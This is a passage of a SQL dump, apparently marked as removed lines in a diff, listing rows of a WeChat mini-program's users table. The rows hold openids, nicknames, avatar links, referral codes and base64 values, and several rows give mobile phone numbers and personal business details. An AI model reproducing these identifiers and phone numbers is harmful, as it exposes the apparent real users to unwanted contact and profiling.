'QSV1N/2blO5yuOfxWgtVJw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', '微信用户qNEc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULYXQNEC', '[]', 0, 0.00, 0.00, 0, '2026-03-03 02:36:00', '2026-03-03 02:36:00', NULL, '+IvCkF/55G9eF5tlaKShmw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '微信用户Mskc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZAMSKC', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:11', '2026-03-05 04:26:19', NULL, 'TsJBLJsoRWv0yd5p/xBfdw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', 'ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', '微信用户_fYw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJQ_FYW', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:44:02', '2026-03-05 06:44:02', NULL, 'XCUgM6pxQsD+5uiiDkhlIQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dY46gEJEaP_a45t6QrbAGk', 'ogpTW5dY46gEJEaP_a45t6QrbAGk', '微信用户bAGk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQRBAGK', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:50:11', '2026-03-10 22:50:11', NULL, 'c2WWjEz0w79ew34gCjNXrg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', '微信用户jCxc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL9EJCXC', '[]', 0, 0.00, 0.00, 0, '2026-02-28 02:15:11', '2026-02-28 02:15:11', NULL, 'vlyJG81RF5fGCGXzMIiosw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e_UvZ4KgAa8o8GK4gtRBEY', 'ogpTW5e_UvZ4KgAa8o8GK4gtRBEY', '微信用户RBEY', 'https://soulapi.quwanzhi.com/uploads/avatars/1770709065982767338_7eri1w.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGTRBEY', '[]', 0, 0.00, 0.00, 0, '2026-02-10 07:37:42', '2026-02-10 07:37:46', NULL, 'g1o3q+RKUVe7y5UeCccG+g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e1K5ypOJjspJ6wNcD_LTkU', 'ogpTW5e1K5ypOJjspJ6wNcD_LTkU', '微信用户LTkU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULD_LTKU', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:24:17', '2026-03-07 01:24:17', NULL, 'sVI8zGC88lJnHz5BFcS87A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e7jIDX6gvAtadRy1pJkjvI', 'ogpTW5e7jIDX6gvAtadRy1pJkjvI', '微信用户kjvI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULPJKJVI', '[]', 0, 0.00, 0.00, 0, '2026-01-31 10:43:30', '2026-01-31 10:43:30', NULL, 'NfaAOvPqQoypccGre5QlHA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'wong', 'https://soulapi.quwanzhi.com/uploads/avatars/1772703996161068954_a3a9v2.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCSFQP0', '[]', 0, 0.00, 0.00, 0, '2026-02-04 16:15:39', '2026-03-05 09:46:36', NULL, 'uiH9wLKrJcflI3L3JQEGdw==', '', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '微信用户aLeM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGOALEM', '[]', 0, 0.00, 0.00, 0, '2026-02-18 02:12:16', '2026-02-18 02:12:16', NULL, 'jDg+M5xiJxYfNbNgHtmCVw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', '微信用户ei-4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULHBEI-4', '[]', 0, 0.00, 0.00, 0, '2026-03-05 04:26:49', '2026-03-05 04:26:49', NULL, 'eBYGHBKAi/GzqV2x4QPWUA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', '微信用户CBZY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULSXCBZY', '[\"9.13\", \"8.1\"]', 0, 0.00, 0.00, 0, '2026-02-05 08:57:05', '2026-02-05 09:09:39', NULL, 'd5MS4wv1+AzdM7x0kswc2A==', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', '微信用户s8X0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBLS8X0', '[]', 0, 0.00, 0.00, 0, '2026-01-31 19:39:06', '2026-03-05 04:26:45', NULL, 'eNNGKfpY3ttto4Bj7Vb0fQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', '微信用户Xgvw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMIXGVW', '[]', 0, 0.00, 0.00, 0, '2026-02-09 12:09:35', '2026-03-05 06:30:16', NULL, '0OTFdZTZz1135+S+bfv2Uw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eol-HCHbPuAYXGpYoOZL_o', 'ogpTW5eol-HCHbPuAYXGpYoOZL_o', '微信用户ZL_o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOOZL_O', '[]', 0, 0.00, 0.00, 0, '2026-01-31 13:52:35', '2026-01-31 13:52:35', NULL, 'NF/7IQe6uiaD8yUEm9okLA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ePHjo6qs-nB-6yEtXv0mfg', 'ogpTW5ePHjo6qs-nB-6yEtXv0mfg', '微信用户0mfg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULXV0MFG', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:48:55', '2026-03-05 06:48:55', NULL, '2q/RQHkWjci6BOGpLYnbZA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eSmKSUk9oZo-EzgUeDDs0Q', 'ogpTW5eSmKSUk9oZo-EzgUeDDs0Q', '微信用户Ds0Q', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEDDS0Q', '[]', 0, 0.00, 0.00, 0, '2026-02-02 15:56:53', '2026-02-02 15:56:54', NULL, 'lEYany00Y+MSDlFGkMqXZg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5etDs6mN-0BQMw49gw56zZM', 'ogpTW5etDs6mN-0BQMw49gw56zZM', '微信用户6zZM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULW56ZZM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:42:45', '2026-03-10 10:42:45', NULL, 'FwH7PMBjfZMwRfQO1UDVkQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5euHvDRj0yXH9GiSM2rlnmU', 'ogpTW5euHvDRj0yXH9GiSM2rlnmU', '微信用户lnmU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2RLNMU', '[]', 0, 0.00, 0.00, 0, '2026-03-10 07:06:23', '2026-03-10 07:06:23', NULL, 'jXbEthCISTxjzv12BKuskA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5euxUBHS7fOOXMjUWijBN9g', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', '微信用户BN9g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIJBN9G', '[\"9.14\"]', 0, 0.00, 0.00, 0, '2026-01-30 09:38:14', '2026-01-31 09:18:25', NULL, 'ijglwuYlzfI+pYp0sNsYrA==', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', '微信用户gYDk', '', '14708706724', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDPGYDK', '[]', 0, 0.00, 0.00, 0, '2026-03-08 22:53:52', '2026-03-10 13:45:07', NULL, 'aRMhAn6CVLfS+iWD7ViceA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eXhulw9ION9WSGQitno4WE', 'ogpTW5eXhulw9ION9WSGQitno4WE', '微信用户o4WE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTNO4WE', '[]', 0, 0.00, 0.00, 0, '2026-01-30 08:30:44', '2026-01-30 08:30:44', NULL, 'GXGydyY9+cuF0k5py5sDmQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', '微信用户qVD0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULG9QVD0', '[]', 0, 0.00, 0.00, 0, '2026-03-02 00:04:54', '2026-03-02 00:04:54', NULL, 'me+LD5S95aKvAcTwF+NNzw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fcAcV1tYoNLdzVyPil3JSM', 'ogpTW5fcAcV1tYoNLdzVyPil3JSM', '微信用户3JSM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIL3JSM', '[]', 0, 0.00, 0.00, 0, '2026-03-06 04:35:37', '2026-03-06 04:35:37', NULL, 'AdnsgK9s/sk9jZueC69v1A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fEgNmFSsCS_BfRPwFL52do', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', '微信用户52do', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULFL52DO', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:54:06', '2026-02-24 08:54:15', NULL, '0croATcMa+BvWSA0Rf11LQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', '微信用户VJf0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNMVJF0', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:46:49', '2026-03-10 12:20:17', NULL, 'NoNN/vOYIwZAMzRQgxbPVg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', 'https://soulapi.quwanzhi.com/uploads/avatars/1772691374674588840_lkkji7.jpeg', '13144454423', '', '', '', '', '', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNVE5TG', '[]', 0, 0.00, 0.00, 4, '2026-02-04 16:19:12', '2026-03-10 12:15:15', NULL, 'Pm0noEThI4ThARqEzJBSqw==', NULL, 0, 0, NULL, 7.10, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', '微信用户VV4g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGSVV4G', '[]', 0, 0.00, 0.00, 0, '2026-02-23 06:07:15', '2026-02-23 06:07:16', NULL, 'UvkvKK5O+X69TjWj3zQiVQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fNVaJpEW-DyxGUKi-pNB2o', 'ogpTW5fNVaJpEW-DyxGUKi-pNB2o', '微信用户NB2o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL-PNB2O', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:47:08', '2026-02-11 09:47:08', NULL, 'gWIGXVX3Qag/tcTURDk1Ug==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fs2EgTNc_kN67Hn3Oybwi0', 'ogpTW5fs2EgTNc_kN67Hn3Oybwi0', '微信用户bwi0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOYBWI0', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:39:17', '2026-02-26 09:39:17', NULL, 'oNyYUp1r9F573q51PsSrfA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fVouZKgdt5wBTPdT5LSJso', 'ogpTW5fVouZKgdt5wBTPdT5LSJso', '微信用户SJso', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL5LSJSO', '[]', 0, 0.00, 0.00, 0, '2026-02-02 10:07:26', '2026-02-12 09:37:41', NULL, 'AcoOPkNOib6Zq1+00TWGyA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', '微信用户Uc5w', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBHUC5W', '[]', 0, 0.00, 0.00, 0, '2026-02-23 01:39:57', '2026-02-23 01:39:57', NULL, 'JxTMjUjG13yV5mUr7GSJZQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Qabn7rh0bRZZYbr4_pVwQA', 'ogpTW5Qabn7rh0bRZZYbr4_pVwQA', '微信用户VwQA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL_PVWQA', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 09:41:13', '2026-02-24 09:41:25', NULL, 'jog1flzsOMxB16Jk7ledYw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QAI7gFWP_A-XMArEP6JACo', 'ogpTW5QAI7gFWP_A-XMArEP6JACo', '微信用户JACo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULP6JACO', '[]', 0, 0.00, 0.00, 0, '2026-02-27 06:39:11', '2026-02-27 06:39:11', NULL, 'Of1uZiuCKFJoF2BqbrvFQw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '核选佳人', 'https://soulapi.quwanzhi.com/uploads/avatars/1772857422587666170_d8vbyc.jpeg', '15194062210', '15194062210', 'ENFJ', '河北', '私域电商', '公司合伙人', '年入十万+', '私域运营 教授代理', '销售全屋整装 一单十五万', '', '', '', '', '手把手教你 听话照做 月入过万 想了解 要加入的联系', 'SOUL2XYSRI', '[]', 0, 0.00, 1.80, 29, '2026-01-31 06:55:11', '2026-03-11 06:50:11', NULL, 'GdMMh7tW7CKB8DcBrYaQVw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-03-01 16:00:00', '选核佳人-只做精品核桃', '文玩核桃销售(招代理)', '15194062210', 'https://soulapi.quwanzhi.com/uploads/avatars/1772542109591163330_oh2gck.jpg', '不贩寻常货,只藏传世核,许你一对掌心乾坤。', 0, 0, '2026-03-02 02:23:08', 2, NULL); -INSERT INTO `users` VALUES ('ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', 'ogpTW5Qm4kjuZ289cv-QaDKHVAZ8', '微信用户VAZ8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULKHVAZ8', '[]', 0, 0.00, 0.00, 0, '2026-03-03 03:03:56', '2026-03-03 03:03:56', NULL, 'WbWjM88U+o1T+Y0zpfpnag==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QRM9Hulp29AtR3T270X6lY', 'ogpTW5QRM9Hulp29AtR3T270X6lY', '微信用户X6lY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL70X6LY', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:04:26', '2026-02-24 08:04:26', NULL, 'K3Ibk0JWMo4Bcp4w+SiwPQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5QXR4qfwlD6BrZ4mp49HCco', 'ogpTW5QXR4qfwlD6BrZ4mp49HCco', '微信用户HCco', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL49HCCO', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:23:49', '2026-02-24 08:23:49', NULL, '3URSFy5tVHz3iPu99D9fkA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R_LtSnV47s5N0sVWzQRftw', 'ogpTW5R_LtSnV47s5N0sVWzQRftw', '微信用户Rftw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZQRFTW', '[]', 0, 0.00, 0.00, 0, '2026-01-30 10:47:15', '2026-01-30 10:47:15', NULL, 'tAcZlYQQuYwdfDLNs675jQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R0DWOL2CDq3hNCVnUVZP5A', 'ogpTW5R0DWOL2CDq3hNCVnUVZP5A', '微信用户ZP5A', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUVZP5A', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:32:12', '2026-02-26 09:32:12', NULL, 'c438ucT1hj1AkOFX1KlFiw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R253v5YCNQs3IXygDJZz2o', 'ogpTW5R253v5YCNQs3IXygDJZz2o', '微信用户Zz2o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDJZZ2O', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:50', '2026-02-13 06:50:28', NULL, 'nWq8WOlMzUVVgHtz3OQjsg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5R7hILOe6O521rEbUUYCgJ8', 'ogpTW5R7hILOe6O521rEbUUYCgJ8', '微信用户CgJ8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUYCGJ8', '[]', 0, 0.00, 0.00, 0, '2026-02-24 11:13:30', '2026-02-24 11:13:31', NULL, 'Voe+vAWjaW1RZNaiIhtDWw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RBd3Xumob-hHDXLhAbIpHM', 'ogpTW5RBd3Xumob-hHDXLhAbIpHM', '微信用户IpHM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULABIPHM', '[]', 0, 0.00, 0.00, 0, '2026-02-25 20:15:27', '2026-02-25 20:15:27', NULL, 'nnY6MjqGc6qUZHqOlTjF8g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Rc2-7C0_1Grsf13Nzi54T0', 'ogpTW5Rc2-7C0_1Grsf13Nzi54T0', '微信用户54T0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZI54T0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:23:33', 